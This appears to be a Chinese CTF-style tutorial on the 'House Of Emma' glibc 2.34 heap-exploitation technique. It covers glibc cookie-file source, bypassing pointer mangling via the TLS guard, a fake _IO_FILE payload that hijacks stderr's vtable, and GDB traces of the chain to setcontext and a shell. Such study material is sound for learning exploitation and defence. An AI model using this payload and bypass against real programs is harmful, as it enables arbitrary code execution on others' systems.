0%

House Of Emma-原理

House Of Emma

在 libc-2.34 版本中,常用的 hook 都被 ban 掉了(malloc_hook,free_hook 等),我们要尝试通过控制 IO 来获取 shell

应用场景是:

  • 可以任意写一个可控地址(LargeBin Attack,Tcache Stashing Unlink Attack)
  • 可以触发 IO 流(FSOP,House Of Kiwi)

House Of Emma 原理

在 vtable 的合法范围内,存在一个 _IO_cookie_jumps(vtable 的一部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};

以下这几个函数内存在任意函数指针调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb); /* PTR_DEMANGLE保护 */
#endif

if (read_cb == NULL)
return -1;

return read_cb (cfile->__cookie, buf, size);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb); /* PTR_DEMANGLE保护 */
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb); /* PTR_DEMANGLE保护 */
#endif

return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb); /* PTR_DEMANGLE保护 */
#endif

if (close_cb == NULL)
return 0;

return close_cb (cfile->__cookie);
}

上面这些函数的函数指针来源于_IO_cookie_file 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;
  • 结构体 _IO_cookie_file 可以直接在 GDB 中打印
  • 我们可以伪造整个 _IO_cookie_io_functions_t 结构体,把其当做一个类似于 __free_hook 的 Hook 来利用

在此之前我们需要绕过 PTR_DEMANGLE:(指针加密)

  • 指针加密是一种 glibc 安全功能,旨在增加攻击者在 glibc 结构中操纵指针(特别是函数指针)的难度(此功能也称为“指针重整”或“指针保护”)
  • glibc 端口可以通过实现两个宏来支持指针加密:
1
2
3
4
extern uintptr_t __pointer_chk_guard attribute_relro;
# define PTR_MANGLE(var) \
(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)
  • __pointer_chk_guard 是在 TLS 中的一个值(在 GDB 中打印 __pointer_chk_guard_local 就可以找到)
  • 将其 ROR 移位11位后(右移11位),再和原指针异或
1
2
3
4
0x00007ffff7e0d7b0 <+0>:     endbr64
0x00007ffff7e0d7b4 <+4>: mov rax,QWORD PTR [rdi+0xe8]
0x00007ffff7e0d7bb <+11>: ror rax,0x11
0x00007ffff7e0d7bf <+15>: xor rax,QWORD PTR fs:0x30
  • [FS] 寄存器指向当前活动线程的 TLS 结构(线程结构),而 fs:0x30 处的值是普通“加密”算法的“密钥”

应对措施有:

  • 可以将这个值泄露出来
  • 也可以修改 TLS 中的这个值

这样一来就可以伪造 read_cb 函数指针的值(伪造整个 _IO_cookie_io_functions_t 结构体),从而实现任意代码执行的目的

知识补充:TLS 简析

TLS (Thread Local Storage) 是为了多线程考虑其线程本身需要维持一些状态而设置的一种机制,这个变量在它所在的线程内是全局可访问的,但是不能被其他线程访问到,这样就保持了数据的线程独立性

  • TLS 全称为 Thread Local Storage,即线程本地存储:
    • 在单线程模式下,所有整个程序生命周期的变量都是只有一份,那是因为只是一个执行单元
    • 在多线程模式下,有些变量需要支持每个线程独享一份的功能,这种 每线程独享的变量 放到 每个线程专有的存储区域 ,所以称为线程本地存储(Thread Local Storage)或者线程私有数据(Thread Specific Data)
    • 案例:Thread Local Storage(线程局部存储)TLS - 知乎
  • [FS] 寄存器指向当前活动线程的 TLS 结构(线程结构),而 fs:0x30 处的值是普通“加密”算法的“密钥”

接下来我们就在 GDB 中看一看 TLS,打印 __pointer_chk_guard_local

1
2
3
4
pwndbg> p __pointer_chk_guard_local
$2 = 16360226482506262321
pwndbg> p &__pointer_chk_guard_local
$3 = (uintptr_t *) 0x7f62ce3c9c10 <__pointer_chk_guard_local>

搜索 __pointer_chk_guard_local 就可以进入 TLS:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> search -t qword 0xe30b334e3eb96731 /* 搜索__pointer_chk_guard_local */
[anon_7f62ce192] 0x7f62ce192770 0xe30b334e3eb96731
ld.so 0x7f62ce3c9c10 0xe30b334e3eb96731
[stack] 0x7fff2baa6091 0xe30b334e3eb96731
pwndbg> telescope 0x7f62ce192770-0x30 /* 打印TLS */
00:00000x7f62ce192740 ◂— 0x7f62ce192740
01:00080x7f62ce192748 —▸ 0x7f62ce193160 ◂— 0x1
02:00100x7f62ce192750 —▸ 0x7f62ce192740 ◂— 0x7f62ce192740
03:00180x7f62ce192758 ◂— 0x0
04:00200x7f62ce192760 ◂— 0x0
05:00280x7f62ce192768 ◂— 0xa863990dc41ad000
06:00300x7f62ce192770 ◂— 0xe30b334e3eb96731
07:00380x7f62ce192778 ◂— 0x0
  • canarytcache struct ptrkey 这些值都保存在 TLS 中
  • 在 TLS:[0x300] 的位置有 stack_addr,有时也可以进行利用

House Of Emma 利用姿势

先用两个 largebin attack 分别把 __pointer_chk_guard_localstderr 控制为已知 heap 地址,然后利用 House Of Kiwi 中的方法,使 top chunk 不足以申请从而调用 sysmalloc

其中在 stderr 中的 fake_IO_FILE 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
next_chain = 0
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))
  • 在 vtable 的检测中对具体位置的检测还是比较宽松的,这使得我们可以在一定的范围内对 vtable 表的起始位置进行偏移,使其我们可以通过偏移来调用在 vtable 表中的任意函数
  • 这里对 vtable 进行偏移,使其可以调用 _IO_cookie_write 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> p (struct _IO_cookie_file)*(0x562b7f47b2a0)
$3 = {
__fp = {
file = {
_flags = 8208,
_IO_read_ptr = 0x421 <error: Cannot access memory at address 0x421>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x562b7f479000,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fc2360f4b20 <_IO_cookie_jumps+64> /* 这是为了调用_IO_cookie_write */
},
__cookie = 0x562b7f47baf0,
__io_functions = {
read = 0x0,
write = 0x53d2928785000000, /* 已经进行了PTR_DEMANGLE加密 */
seek = 0x0,
close = 0x0
}
}

接下来我们来跟进一下 House Of Emma 的触发流程:

1
2
3
0x7ff1c80e5bb3 <_int_malloc+3539>    call   sysmalloc                <sysmalloc>
rdi: 0x460
rsi: 0x7ff1c823ec60 (main_arena) ◂— 0x0
  • 因为我们修改了 top chunk->P,所以触发 __malloc_assert
1
2
3
4
5
0x7ff1c80e4cb2 <sysmalloc+1714>    call   __malloc_assert                <__malloc_assert>
rdi: 0x7ff1c8206b00 ◂— '(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)'
rsi: 0x7ff1c820169d ◂— 'malloc.c'
rdx: 0x9d4
rcx: 0x7ff1c8207360 (__PRETTY_FUNCTION__.12920) ◂— 'sysmalloc'
  • 进入函数 __fxprintf
1
2
3
0x7ff1c80e295d <__malloc_assert+61>    call   __fxprintf                <__fxprintf>
rdi: 0x0
rsi: 0x7ff1c8206360 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
  • 进入函数 __vfxprintf
1
2
3
4
5
0x7ff1c80c3d68 <__fxprintf+136>           call   __vfxprintf                <__vfxprintf>
rdi: 0x0
rsi: 0x7ff1c8206360 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x7ffc0fbb0e38 ◂— 0x3000000010
rcx: 0x0
  • 进入函数 locked_vfxprintf
1
2
3
4
5
0x7fc235f78c50 <__vfxprintf+80>     call   locked_vfxprintf                <locked_vfxprintf>
rdi: 0x562b7f47b2a0 ◂— 0x2010 /* stderr => largebin attack => 可控heap */
rsi: 0x7fc2360bb360 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x7ffdcb2a62c8 ◂— 0x3000000010
rcx: 0x0
  • 进入函数 __vfprintf_internal
1
2
3
4
5
0x7fc235f78b63 <locked_vfxprintf+291>    call   __vfprintf_internal                <__vfprintf_internal>
rdi: 0x562b7f47b2a0 ◂— 0x2010 /* stderr => largebin attack => 可控heap */
rsi: 0x7fc2360bb360 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x7ffdcb2a62c8 ◂— 0x3000000010
rcx: 0x0
  • 进入函数 _IO_cookie_write:(前面伪造了 vtable,这里才可以调用 _IO_cookie_write
1
2
3
4
5
0x7fc235f70015 <__vfprintf_internal+261>    call   qword ptr [rbx + 0x38]        <_IO_cookie_write>
rdi: 0x562b7f47b2a0 ◂— 0x2010 /* stderr => largebin attack => 可控heap */
rsi: 0x7fc2360bb360 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x0
rcx: 0x0
  • _IO_cookie_write 中有一个 call raxrax 需要经过 PTR_DEMANGLE 解密)
1
2
3
4
5
6
7
  0x7fc235f79a16 <_IO_cookie_write+38>    mov    rbp, rdx
0x7fc235f79a19 <_IO_cookie_write+41> mov rdi, qword ptr [rdi + 0xe0]
0x7fc235f79a20 <_IO_cookie_write+48> call rax <getkeyserv_handle+528>
rdi: 0x562b7f47baf0 ◂— 0x0 /* __cookie:可控heap */
rsi: 0x7fc2360bb360 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x0
rcx: 0x0
  • 由于整个 _IO_cookie_io_functions_t 已经被我们伪造(其中 _IO_cookie_io_functions_t->write 被伪造为一个特殊的 gadget)
  • 利用这个 gadget 可以获取位于 [RDI] 中的 __cookie(可控 heap 空间),并且调用位于 __cookie+0x20 处的函数
1
2
3
  0x7fc236047020 <getkeyserv_handle+528>    mov    rdx, qword ptr [rdi + 8]
0x7fc236047024 <getkeyserv_handle+532> mov qword ptr [rsp], rax
0x7fc236047028 <getkeyserv_handle+536> call qword ptr [rdx + 0x20] <setcontext+61>
  • 我们可以把 __cookie+0x20 处布置为 setcontext+61:(因为 [RDX] 是可控的)
1
2
3
4
5
RAX  0x7fc236047020 (getkeyserv_handle+528) ◂— mov    rdx, qword ptr [rdi + 8]
RBX 0x562b7f47b2a0 ◂— 0x2010
RCX 0x0
RDX 0x562b7f47baf0 ◂— 0x0
RDI 0x562b7f47baf0 ◂— 0x0
  • 最后利用 House Of Kiwi 中的方式 get shell